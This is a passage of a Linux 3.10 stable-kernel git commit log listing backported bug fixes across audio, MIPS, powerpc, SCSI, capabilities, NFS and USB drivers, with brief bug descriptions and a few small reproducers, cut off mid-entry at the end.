Signed-off-by: Daniel Mack Reported-by: Johannes Stezenbach Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1df23cdf77e21c90b7d3736986b090bd4b8d8237 Author: Jarkko Nikula Date: Thu Jun 19 09:32:05 2014 +0300 ASoC: max98090: Fix missing free_irq commit 4adeb0ccf86a5af1825bbfe290dee9e60a5ab870 upstream. max98090.c doesn't free the threaded interrupt it requests. This causes an oops when doing "cat /proc/interrupts" after snd-soc-max98090.ko is unloaded. Fix this by requesting the interrupt by using devm_request_threaded_irq(). Signed-off-by: Jarkko Nikula Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75d4bb373005f3615fc58666b875f7f946bd0d0b Author: Sylwester Nawrocki Date: Fri Jul 4 16:05:45 2014 +0200 ASoC: samsung: Correct I2S DAI suspend/resume ops commit d3d4e5247b013008a39e4d5f69ce4c60ed57f997 upstream. We should save/restore relevant I2S registers regardless of the dai->active flag, otherwise some settings are being lost after system suspend/resume cycle. E.g. I2S slave mode set only during dai initialization is not preserved and the device ends up in master mode after system resume. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3cc5d5cfa3dc48d041e339b086a56f684f468825 Author: Jonas Bonn Date: Sun Feb 19 17:36:53 2012 +0100 openrisc: Rework signal handling commit 10f67dbf6add97751050f294d4c8e0cc1e5c2c23 upstream. The mainline signal handling code for OpenRISC has been buggy since day one with respect to syscall restart. This patch significantly reworks the signal handling code: i) Move the "work pending" loop to C code (borrowed from ARM arch) ii) Allow a tracer to muck about with the IP and skip syscall restart in that case (again, borrowed from ARM) iii) Make signal handling WRT syscall restart actually work v) Make the signal handling code look more like that of other architectures so that it's easier for others to follow Reported-by: Anders Nystrom Signed-off-by: Jonas Bonn Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37b886ae1d8de4c7feb59851a93ba6e7bd504486 Author: Ralf Baechle Date: Tue Sep 17 12:44:31 2013 +0200 MIPS: Fix accessing to per-cpu data when flushing the cache commit ff522058bd717506b2fa066fa564657f2b86477e upstream. This fixes the following issue BUG: using smp_processor_id() in preemptible [00000000] code: kjournald/1761 caller is blast_dcache32+0x30/0x254 Call Trace: [<8047f02c>] dump_stack+0x8/0x34 [<802e7e40>] debug_smp_processor_id+0xe0/0xf0 [<80114d94>] blast_dcache32+0x30/0x254 [<80118484>] r4k_dma_cache_wback_inv+0x200/0x288 [<80110ff0>] mips_dma_map_sg+0x108/0x180 [<80355098>] ide_dma_prepare+0xf0/0x1b8 [<8034eaa4>] do_rw_taskfile+0x1e8/0x33c [<8035951c>] ide_do_rw_disk+0x298/0x3e4 [<8034a3c4>] do_ide_request+0x2e0/0x704 [<802bb0dc>] __blk_run_queue+0x44/0x64 [<802be000>] queue_unplugged.isra.36+0x1c/0x54 [<802beb94>] blk_flush_plug_list+0x18c/0x24c [<802bec6c>] blk_finish_plug+0x18/0x48 [<8026554c>] journal_commit_transaction+0x3b8/0x151c [<80269648>] kjournald+0xec/0x238 [<8014ac00>] kthread+0xb8/0xc0 [<8010268c>] ret_from_kernel_thread+0x14/0x1c Caches in most systems are identical - but not always, so we can't avoid the use of smp_call_function() by just looking at the boot CPU's data, have to fiddle with preemption instead. Signed-off-by: Ralf Baechle Cc: Markos Chandras Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/5835 Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a628887b10247ae813edd83310d9edd1d34232ba Author: Aaro Koskinen Date: Tue Jul 22 14:51:08 2014 +0300 MIPS: OCTEON: make get_system_type() thread-safe commit 608308682addfdc7b8e2aee88f0e028331d88e4d upstream. get_system_type() is not thread-safe on OCTEON. It uses static data, also more dangerous issue is that it's calling cvmx_fuse_read_byte() every time without any synchronization. Currently it's possible to get processes stuck looping forever in kernel simply by launching multiple readers of /proc/cpuinfo: (while true; do cat /proc/cpuinfo > /dev/null; done) & (while true; do cat /proc/cpuinfo > /dev/null; done) & ... Fix by initializing the system type string only once during the early boot. Signed-off-by: Aaro Koskinen Reviewed-by: Markos Chandras Patchwork: http://patchwork.linux-mips.org/patch/7437/ Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1b52bf89dc5bea9ff0a6424bc723336a75eb43d Author: Markos Chandras Date: Wed Jan 22 14:40:00 2014 +0000 MIPS: asm: thread_info: Add _TIF_SECCOMP flag commit 137f7df8cead00688524c82360930845396b8a21 upstream. Add _TIF_SECCOMP flag to _TIF_WORK_SYSCALL_ENTRY to indicate that the system call needs to be checked against a seccomp filter. Signed-off-by: Markos Chandras Reviewed-by: Paul Burton Reviewed-by: James Hogan Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/6405/ Signed-off-by: Ralf Baechle [bwh: Backported to 3.2: various other flags are not included in _TIF_WORK_SYSCALL_ENTRY] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9241500b72a3151d97f83b5e950d84acb3cbd5d9 Author: Ralf Baechle Date: Wed May 29 01:02:18 2013 +0200 MIPS: Cleanup flags in syscall flags handlers. commit e7f3b48af7be9f8007a224663a5b91340626fed5 upstream. This will simplify further modifications. Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 55d5b19b344e34b9db5778c4187a0abc5dd5ab9e Author: Alex Smith Date: Wed Jul 23 14:40:08 2014 +0100 MIPS: asm/reg.h: Make 32- and 64-bit definitions available at the same time commit bcec7c8da6b092b1ff3327fd83c2193adb12f684 upstream. Get rid of the WANT_COMPAT_REG_H test and instead define both the 32- and 64-bit register offset definitions at the same time with MIPS{32,64}_ prefixes, then define the existing EF_* names to the correct definitions for the kernel's bitness. This patch is a prerequisite of the following bug fix patch. Signed-off-by: Alex Smith Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/7451/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 354ac0a366d365ca175ea0ab21ca1fcd27fa0e70 Author: Huacai Chen Date: Wed Jul 16 09:19:16 2014 +0800 MIPS: Remove BUG_ON(!is_fpu_owner()) in do_ade() commit 2e5767a27337812f6850b3fa362419e2f085e5c3 upstream. In do_ade(), is_fpu_owner() isn't preempt-safe. For example, when an unaligned ldc1 is executed, do_cpu() is called and then FPU will be enabled (and TIF_USEDFPU will be set for the current process). Then, do_ade() is called because the access is unaligned. If the current process is preempted at this time, TIF_USEDFPU will be cleard. So when the process is scheduled again, BUG_ON(!is_fpu_owner()) is triggered. This small program can trigger this BUG in a preemptible kernel: int main (int argc, char *argv[]) { double u64[2]; while (1) { asm volatile ( ".set push \n\t" ".set noreorder \n\t" "ldc1 $f3, 4(%0) \n\t" ".set pop \n\t" ::"r"(u64): ); } return 0; } V2: Remove the BUG_ON() unconditionally due to Paul's suggestion. Signed-off-by: Huacai Chen Signed-off-by: Jie Chen Signed-off-by: Rui Wang Cc: John Crispin Cc: Steven J. Hill Cc: linux-mips@linux-mips.org Cc: Fuxin Zhang Cc: Zhangjin Wu Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9403f6d688ddcd96adddcaa45ca1a0748968bfdc Author: Huacai Chen Date: Tue Jul 29 14:54:40 2014 +0800 MIPS: tlbex: Fix a missing statement for HUGETLB commit 8393c524a25609a30129e4a8975cf3b91f6c16a5 upstream. In commit 2c8c53e28f1 (MIPS: Optimize TLB handlers for Octeon CPUs) build_r4000_tlb_refill_handler() is modified. But it doesn't compatible with the original code in HUGETLB case. Because there is a copy & paste error and one line of code is missing. It is very easy to produce a bug with LTP's hugemmap05 test. Signed-off-by: Huacai Chen Signed-off-by: Binbin Zhou Cc: John Crispin Cc: Steven J. Hill Cc: linux-mips@linux-mips.org Cc: Fuxin Zhang Cc: Zhangjin Wu Patchwork: https://patchwork.linux-mips.org/patch/7496/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fff2ba51e011ce6c44dd483a6dc077cc29f6c0fd Author: Paul Burton Date: Tue Jul 22 14:21:21 2014 +0100 MIPS: Prevent user from setting FCSR cause bits commit b1442d39fac2fcfbe6a4814979020e993ca59c9e upstream. If one or more matching FCSR cause & enable bits are set in saved thread context then when that context is restored the kernel will take an FP exception. This is of course undesirable and considered an oops, leading to the kernel writing a backtrace to the console and potentially rebooting depending upon the configuration. Thus the kernel avoids this situation by clearing the cause bits of the FCSR register when handling FP exceptions and after emulating FP instructions. However the kernel does not prevent userland from setting arbitrary FCSR cause & enable bits via ptrace, using either the PTRACE_POKEUSR or PTRACE_SETFPREGS requests. This means userland can trivially cause the kernel to oops on any system with an FPU. Prevent this from happening by clearing the cause bits when writing to the saved FCSR context via ptrace. This problem appears to exist at least back to the beginning of the git era in the PTRACE_POKEUSR case. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: Paul Burton Cc: stable@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/7438/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6532796823376158f10261b3ff6104baf6691aa7 Author: Jeffrey Deans Date: Thu Jul 17 09:20:56 2014 +0100 MIPS: GIC: Prevent array overrun commit ffc8415afab20bd97754efae6aad1f67b531132b upstream. A GIC interrupt which is declared as having a GIC_MAP_TO_NMI_MSK mapping causes the cpu parameter to gic_setup_intr() to be increased to 32, causing memory corruption when pcpu_masks[] is written to again later in the function. Signed-off-by: Jeffrey Deans Signed-off-by: Markos Chandras Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/7375/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 032f31687e0f38cf28cb0f1028ac473a903e99c6 Author: K. Y. Srinivasan Date: Sat Jul 12 09:48:32 2014 -0700 drivers: scsi: storvsc: Correctly handle TEST_UNIT_READY failure commit 3533f8603d28b77c62d75ec899449a99bc6b77a1 upstream. On some Windows hosts on FC SANs, TEST_UNIT_READY can return SRB_STATUS_ERROR. Correctly handle this. Note that there is sufficient sense information to support scsi error handling even in this case. Signed-off-by: K. Y. Srinivasan Reviewed-by: Hannes Reinecke Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c9b3aaf27ac1f2d36598e5f3d0ca7bb546f2f8b Author: K. Y. Srinivasan Date: Sat Jul 12 09:48:30 2014 -0700 Drivers: scsi: storvsc: Implement a eh_timed_out handler commit 56b26e69c8283121febedd12b3cc193384af46b9 upstream. On Azure, we have seen instances of unbounded I/O latencies. To deal with this issue, implement handler that can reset the timeout. Note that the host gaurantees that it will respond to each command that has been issued. Signed-off-by: K. Y. Srinivasan Reviewed-by: Hannes Reinecke [hch: added a better comment explaining the issue] Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5831f4ad586b283dcacdc04b5facd28d6df9b019 Author: Gavin Shan Date: Mon Aug 11 19:16:19 2014 +1000 powerpc/pseries: Failure on removing device node commit f1b3929c232784580e5d8ee324b6bc634e709575 upstream. While running command "drmgr -c phb -r -s 'PHB 528'", following backtrace jumped out because the target device node isn't marked with OF_DETACHED by of_detach_node(), which caused by error returned from memory hotplug related reconfig notifier when disabling CONFIG_MEMORY_HOTREMOVE. The patch fixes it. ERROR: Bad of_node_put() on /pci@800000020000210/ethernet@0 CPU: 14 PID: 2252 Comm: drmgr Tainted: G W 3.16.0+ #427 Call Trace: [c000000012a776a0] [c000000000013d9c] .show_stack+0x88/0x148 (unreliable) [c000000012a77750] [c00000000083cd34] .dump_stack+0x7c/0x9c [c000000012a777d0] [c0000000006807c4] .of_node_release+0x58/0xe0 [c000000012a77860] [c00000000038a7d0] .kobject_release+0x174/0x1b8 [c000000012a77900] [c00000000038a884] .kobject_put+0x70/0x78 [c000000012a77980] [c000000000681680] .of_node_put+0x28/0x34 [c000000012a77a00] [c000000000681ea8] .__of_get_next_child+0x64/0x70 [c000000012a77a90] [c000000000682138] .of_find_node_by_path+0x1b8/0x20c [c000000012a77b40] [c000000000051840] .ofdt_write+0x308/0x688 [c000000012a77c20] [c000000000238430] .proc_reg_write+0xb8/0xd4 [c000000012a77cd0] [c0000000001cbeac] .vfs_write+0xec/0x1f8 [c000000012a77d70] [c0000000001cc3b0] .SyS_write+0x58/0xa0 [c000000012a77e30] [c00000000000a064] syscall_exit+0x0/0x98 Signed-off-by: Gavin Shan Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f7825829f5cd878cab3c4933dda9be7ae6d083c Author: Aneesh Kumar K.V Date: Wed Aug 13 12:32:03 2014 +0530 powerpc/mm: Use read barrier when creating real_pte commit 85c1fafd7262e68ad821ee1808686b1392b1167d upstream. On ppc64 we support 4K hash pte with 64K page size. That requires us to track the hash pte slot information on a per 4k basis. We do that by storing the slot details in the second half of pte page. The pte bit _PAGE_COMBO is used to indicate whether the second half need to be looked while building real_pte. We need to use read memory barrier while doing that so that load of hidx is not reordered w.r.t _PAGE_COMBO check. On the store side we already do a lwsync in __hash_page_4K Signed-off-by: Aneesh Kumar K.V Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dfed85731dee52b02f4a99f71b9c2f667740e5fb Author: Andrey Utkin Date: Mon Aug 4 23:13:10 2014 +0300 powerpc/mm/numa: Fix break placement commit b00fc6ec1f24f9d7af9b8988b6a198186eb3408c upstream. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=81631 Reported-by: David Binderman Signed-off-by: Andrey Utkin Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc55586057386ac151f4baeaef9730c91f1b88c9 Author: Michael Welling Date: Mon Jul 28 18:01:04 2014 -0500 mfd: omap-usb-host: Fix improper mask use. commit 46de8ff8e80a6546aa3d2fdf58c6776666301a0c upstream. single-ulpi-bypass is a flag used for older OMAP3 silicon. The flag when set, can excite code that improperly uses the OMAP_UHH_HOSTCONFIG_UPLI_BYPASS define to clear the corresponding bit. Instead it clears all of the other bits disabling all of the ports in the process. Signed-off-by: Michael Welling Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d90d289d8a91338d522654e7b08bc1a10a49a91 Author: Sasha Levin Date: Wed Aug 6 16:08:14 2014 -0700 kernel/smp.c:on_each_cpu_cond(): fix warning in fallback path commit 618fde872163e782183ce574c77f1123e2be8887 upstream. The rarely-executed memry-allocation-failed callback path generates a WARN_ON_ONCE() when smp_call_function_single() succeeds. Presumably it's supposed to warn on failures. Signed-off-by: Sasha Levin Cc: Christoph Lameter Cc: Gilad Ben-Yossef Cc: David Rientjes Cc: Joonsoo Kim Cc: Tejun Heo Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b60a89532cca6671e340a1499cb5457ba4229914 Author: Eric Paris Date: Wed Jul 23 15:36:26 2014 -0400 CAPABILITIES: remove undefined caps from all processes commit 7d8b6c63751cfbbe5eef81a48c22978b3407a3ad upstream. This is effectively a revert of 7b9a7ec565505699f503b4fcf61500dceb36e744 plus fixing it a different way... We found, when trying to run an application from an application which had dropped privs that the kernel does security checks on undefined capability bits. This was ESPECIALLY difficult to debug as those undefined bits are hidden from /proc/$PID/status. Consider a root application which drops all capabilities from ALL 4 capability sets. We assume, since the application is going to set eff/perm/inh from an array that it will clear not only the defined caps less than CAP_LAST_CAP, but also the higher 28ish bits which are undefined future capabilities. The BSET gets cleared differently. Instead it is cleared one bit at a time. The problem here is that in security/commoncap.c::cap_task_prctl() we actually check the validity of a capability being read. So any task which attempts to 'read all things set in bset' followed by 'unset all things set in bset' will not even attempt to unset the undefined bits higher than CAP_LAST_CAP. So the 'parent' will look something like: CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: ffffffc000000000 All of this 'should' be fine. Given that these are undefined bits that aren't supposed to have anything to do with permissions. But they do... So lets now consider a task which cleared the eff/perm/inh completely and cleared all of the valid caps in the bset (but not the invalid caps it couldn't read out of the kernel). We know that this is exactly what the libcap-ng library does and what the go capabilities library does. They both leave you in that above situation if you try to clear all of you capapabilities from all 4 sets. If that root task calls execve() the child task will pick up all caps not blocked by the bset. The bset however does not block bits higher than CAP_LAST_CAP. So now the child task has bits in eff which are not in the parent. These are 'meaningless' undefined bits, but still bits which the parent doesn't have. The problem is now in cred_cap_issubset() (or any operation which does a subset test) as the child, while a subset for valid cap bits, is not a subset for invalid cap bits! So now we set durring commit creds that the child is not dumpable. Given it is 'more priv' than its parent. It also means the parent cannot ptrace the child and other stupidity. The solution here: 1) stop hiding capability bits in status This makes debugging easier! 2) stop giving any task undefined capability bits. it's simple, it you don't put those invalid bits in CAP_FULL_SET you won't get them in init and you won't get them in any other task either. This fixes the cap_issubset() tests and resulting fallout (which made the init task in a docker container untraceable among other things) 3) mask out undefined bits when sys_capset() is called as it might use ~0, ~0 to denote 'all capabilities' for backward/forward compatibility. This lets 'capsh --caps="all=eip" -- -c /bin/bash' run. 4) mask out undefined bit when we read a file capability off of disk as again likely all bits are set in the xattr for forward/backward compatibility. This lets 'setcap all+pe /bin/bash; /bin/bash' run Signed-off-by: Eric Paris Reviewed-by: Kees Cook Cc: Andrew Vagin Cc: Andrew G. Morgan Cc: Serge E. Hallyn Cc: Kees Cook Cc: Steve Grubb Cc: Dan Walsh Signed-off-by: James Morris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a9d590bbaf617655e09a7cf3b3572977a49c0724 Author: Jarkko Sakkinen Date: Fri May 9 14:23:10 2014 +0300 tpm: missing tpm_chip_put in tpm_get_random() commit 3e14d83ef94a5806a865b85b513b4e891923c19b upstream. Regression in 41ab999c. Call to tpm_chip_put is missing. This will cause TPM device driver not to unload if tmp_get_random() is called. Signed-off-by: Jarkko Sakkinen Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9aecf831f597bdb578fc9776c111c08e1f23c70b Author: Guenter Roeck Date: Wed Aug 13 11:21:34 2014 -0700 firmware: Do not use WARN_ON(!spin_is_locked()) commit aee530cfecf4f3ec83b78406bac618cec35853f8 upstream. spin_is_locked() always returns false for uniprocessor configurations in several architectures, so do not use WARN_ON with it. Use lockdep_assert_held() instead to also reduce overhead in non-debug kernels. Signed-off-by: Guenter Roeck Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6cce7fe5f000718022874593e7b253c2c83942f Author: Mark A. Greer Date: Tue Jul 1 20:28:32 2014 -0700 spi: omap2-mcspi: Configure hardware when slave driver changes mode commit 97ca0d6cc118716840ea443e010cb3d5f2d25eaf upstream. Commit id 2bd16e3e23d9df41592c6b257c59b6860a9cc3ea (spi: omap2-mcspi: Do not configure the controller on each transfer unless needed) does its job too well so omap2_mcspi_setup_transfer() isn't called even when an SPI slave driver changes 'spi->mode'. The result is that the mode requested by the SPI slave driver never takes effect. Fix this by adding the 'mode' member to the omap2_mcspi_cs structure which holds the mode value that the hardware is configured for. When the SPI slave driver changes 'spi->mode' it will be different than the value of this new member and the SPI master driver will know that the hardware must be reconfigured (by calling omap2_mcspi_setup_transfer()). Fixes: 2bd16e3e23 (spi: omap2-mcspi: Do not configure the controller on each transfer unless needed) Signed-off-by: Mark A. Greer Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 701f5625d7ceb55b69b2afbd19436633bbd96f33 Author: Thomas Petazzoni Date: Sun Jul 27 23:53:19 2014 +0200 spi: orion: fix incorrect handling of cell-index DT property commit e06871cd2c92e5c65d7ca1d32866b4ca5dd4ac30 upstream. In commit f814f9ac5a81 ("spi/orion: add device tree binding"), Device Tree support was added to the spi-orion driver. However, this commit reads the "cell-index" property, without taking into account the fact that DT properties are big-endian encoded. Since most of the platforms using spi-orion with DT have apparently not used anything but cell-index = <0>, the problem was not visible. But as soon as one starts using cell-index = <1>, the problem becomes clearly visible, as the master->bus_num gets a wrong value (actually it gets the value 0, which conflicts with the first bus that has cell-index = <0>). This commit fixes that by using of_property_read_u32() to read the property value, which does the appropriate endianness conversion when needed. Fixes: f814f9ac5a81 ("spi/orion: add device tree binding") Signed-off-by: Thomas Petazzoni Acked-by: Sebastian Hesselbarth Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0fedb5adad29b5db35af475cb7af1034c0b18d75 Author: Joerg Roedel Date: Tue Aug 5 17:50:15 2014 +0200 iommu/amd: Fix cleanup_domain for mass device removal commit 9b29d3c6510407d91786c1cf9183ff4debb3473a upstream. When multiple devices are detached in __detach_device, they are also removed from the domains dev_list. This makes it unsafe to use list_for_each_entry_safe, as the next pointer might also not be in the list anymore after __detach_device returns. So just repeatedly remove the first element of the list until it is empty. Tested-by: Marti Raudsepp Signed-off-by: Joerg Roedel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8ea595c234c5cc038e85bb16c06a58887d0b42f3 Author: Salva Peiró Date: Sat Jun 7 11:41:44 2014 -0300 media: media-device: Remove duplicated memset() in media_enum_entities() commit f8ca6ac00d2ba24c5557f08f81439cd3432f0802 upstream. After the zeroing the whole struct struct media_entity_desc u_ent, it is no longer necessary to memset(0) its u_ent.name field. Signed-off-by: Salva Peiró Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a64bdfd5ddf6a03054877df02863803e12595ce6 Author: Mauro Carvalho Chehab Date: Sun Jun 8 13:54:57 2014 -0300 media: au0828: Only alt setting logic when needed commit 64ea37bbd8a5815522706f0099ad3f11c7537e15 upstream. It seems that there's a bug at au0828 hardware/firmware related to alternate setting: when the device is already at alt 5, a further call causes the URBs to receive -ESHUTDOWN. I found two different encarnations of this issue: 1) at qv4l2, it fails the second time we try to open the video screen; 2) at xawtv, when audio underrun occurs, with is very frequent, at least on my test machine. The fix is simple: just check if alt=5 before calling set_usb_interface(). Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit effd668df38320028b8c132ffd1fd2398b09f86e Author: Mauro Carvalho Chehab Date: Mon Jul 21 13:28:15 2014 -0300 media: xc4000: Fix get_frequency() commit 4c07e32884ab69574cfd9eb4de3334233c938071 upstream. The programmed frequency on xc4000 is not the middle frequency, but the initial frequency on the bandwidth range. However, the DVB API works with the middle frequency. This works fine on set_frontend, as the device calculates the needed offset. However, at get_frequency(), the returned value is the initial frequency. That's generally not a big problem on most drivers, however, starting with changeset 6fe1099c7aec, the frequency drift is taken into account at dib7000p driver. This broke support for PCTV 340e, with uses dib7000p demod and xc4000 tuner. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 57d680f49b3e0a8d4fc1997231bc41b69aee7068 Author: Mauro Carvalho Chehab Date: Mon Jul 21 14:21:18 2014 -0300 media: xc5000: Fix get_frequency() commit a3eec916cbc17dc1aaa3ddf120836cd5200eb4ef upstream. The programmed frequency on xc5000 is not the middle frequency, but the initial frequency on the bandwidth range. However, the DVB API works with the middle frequency. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 96215ddb492075d096f04e01ffe225e443af144a Author: Greg Kroah-Hartman Date: Fri Sep 5 16:32:00 2014 -0700 Linux 3.10.54 Signed-off-by: Pranav Vashi commit 237e2ef0137ac8ef4d375ed529a0bb9d910ef3af Author: Greg Kroah-Hartman Date: Wed Aug 27 16:55:29 2014 -0700 USB: fix build error with CONFIG_PM_RUNTIME disabled commit a9ef803d740bfadf5e505fbc57efa57692e27025 upstream. commit bdd405d2a528 ("usb: hub: Prevent hub autosuspend if usbcore.autosuspend is -1") causes a build error if CONFIG_PM_RUNTIME is disabled. Fix that by doing a simple #ifdef guard around it. Reported-by: Stephen Rothwell Reported-by: kbuild test robot Cc: Roger Quadros Cc: Michael Welling Cc: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c283d5a32538940b12e42be5bdaffbada8313a9d Author: Trond Myklebust Date: Mon Aug 25 22:33:12 2014 -0400 NFSv4: Fix problems with close in the presence of a delegation commit aee7af356e151494d5014f57b33460b162f181b5 upstream. In the presence of delegations, we can no longer assume that the state->n_rdwr, state->n_rdonly, state->n_wronly reflect the open stateid share mode, and so we need to calculate the initial value for calldata->arg.fmode using the state->flags. Reported-by: James Drews Fixes: 88069f77e1ac5 (NFSv41: Fix a potential state leakage when...) Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d3dca3287eaea8417f4ab85ad45789f14512878 Author: Trond Myklebust Date: Sun Aug 24 14:46:48 2014 -0400 NFSv3: Fix another acl regression commit f87d928f6d98644d39809a013a22f981d39017cf upstream. When creating a new object on the NFS server, we should not be sending posix setacl requests unless the preceding posix_acl_create returned a non-trivial acl. Doing so, causes Solaris servers in particular to return an EINVAL. Fixes: 013cdf1088d72 (nfs: use generic posix ACL infrastructure,,,) Resolves: https://bugzilla.redhat.com/show_bug.cgi?id=1132786 Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 432d2b4c7724e033c2c9642eabf075a032e4640c Author: Chuck Lever Date: Wed Jul 16 15:38:32 2014 -0400 svcrdma: Select NFSv4.1 backchannel transport based on forward channel commit 3c45ddf823d679a820adddd53b52c6699c9a05ac upstream. The current code always selects XPRT_TRANSPORT_BC_TCP for the back channel, even when the forward channel was not TCP (eg, RDMA). When a 4.1 mount is attempted with RDMA, the server panics in the TCP BC code when trying to send CB_NULL. Instead, construct the transport protocol number from the forward channel transport or'd with XPRT_TRANSPORT_BC. Transports that do not support bi-directional RPC will not have registered a "BC" transport, causing create_backchannel_client() to fail immediately. Fixes: https://bugzilla.linux-nfs.org/show_bug.cgi?id=265 Signed-off-by: Chuck Lever Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4384a64944da8f5142895fd2d397cb5f41746d5d Author: Kinglong Mee Date: Wed Jul 30 21:26:05 2014 +0800 NFSD: Decrease nfsd_users in nfsd_startup_generic fail commit d9499a95716db0d4bc9b67e88fd162133e7d6b08 upstream. A memory allocation failure could cause nfsd_startup_generic to fail, in which case nfsd_users wouldn't be incorrectly left elevated. After nfsd restarts nfsd_startup_generic will then succeed without doing anything--the first consequence is likely nfs4_start_net finding a bad laundry_wq and crashing. Signed-off-by: Kinglong Mee Fixes: 4539f14981ce "nfsd: replace boolean nfsd_up flag by users counter" Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c89e6c12e4eb6d309fa026d605c01d4af2c493a9 Author: Roger Quadros Date: Mon Aug 4 12:44:46 2014 +0300 usb: hub: Prevent hub autosuspend if usbcore.autosuspend is -1 commit bdd405d2a5287bdb9b04670ea255e1f122138e66 upstream. If user specifies that USB autosuspend must be disabled by module parameter "usbcore.autosuspend=-1" then we must prevent autosuspend of USB hub devices as well. commit 596d789a211d introduced in v3.8 changed the original behaivour and stopped respecting the usbcore.autosuspend parameter for hubs. Fixes: 596d789a211d "USB: set hub's default autosuspend delay as 0" Signed-off-by: Roger Quadros Tested-by: Michael Welling Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d74931e9f570f61b39f1f3c32194088566f6efca Author: James Forshaw Date: Sat Aug 23 14:39:48 2014 -0700 USB: whiteheat: Added bounds checking for bulk command response commit 6817ae225cd650fb1c3295d769298c38b1eba818 upstream. This patch fixes a potential security issue in the whiteheat USB driver which might allow a local attacker to cause kernel memory corrpution. This is due to an unchecked memcpy into a fixed size buffer (of 64 bytes). On EHCI and XHCI busses it's possible to craft responses greater than 64 bytes leading a buffer overflow. Signed-off-by: James Forshaw Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd1e049ef4cadb34d4781c8d1dfd01a7910cbd1e Author: JaÅ¡a Bartelj Date: Sat Aug 16 12:44:27 2014 +0200 USB: ftdi_sio: Added PID for new ekey device commit 646907f5bfb0782c731ae9ff6fb63471a3566132 upstream. Added support to the ftdi_sio driver for ekey Converter USB which uses an FT232BM chip. Signed-off-by: JaÅ¡a Bartelj Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a2a0f9aff5d13b4b96805021d397027df79cfc5 Author: Johan Hovold Date: Wed Aug 13 17:56:52 2014 +0200 USB: ftdi_sio: add Basic Micro ATOM Nano USB2Serial PID commit 6552cc7f09261db2aeaae389aa2c05a74b3a93b4 upstream. Add device id for Basic Micro ATOM Nano USB2Serial adapters. Reported-by: Nicolas Alt Tested-by: Nicolas Alt Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d406e2d0ba368e1ee70a59ba51f8b3c9a3fe805c Author: Tony Lindgren Date: Mon Aug 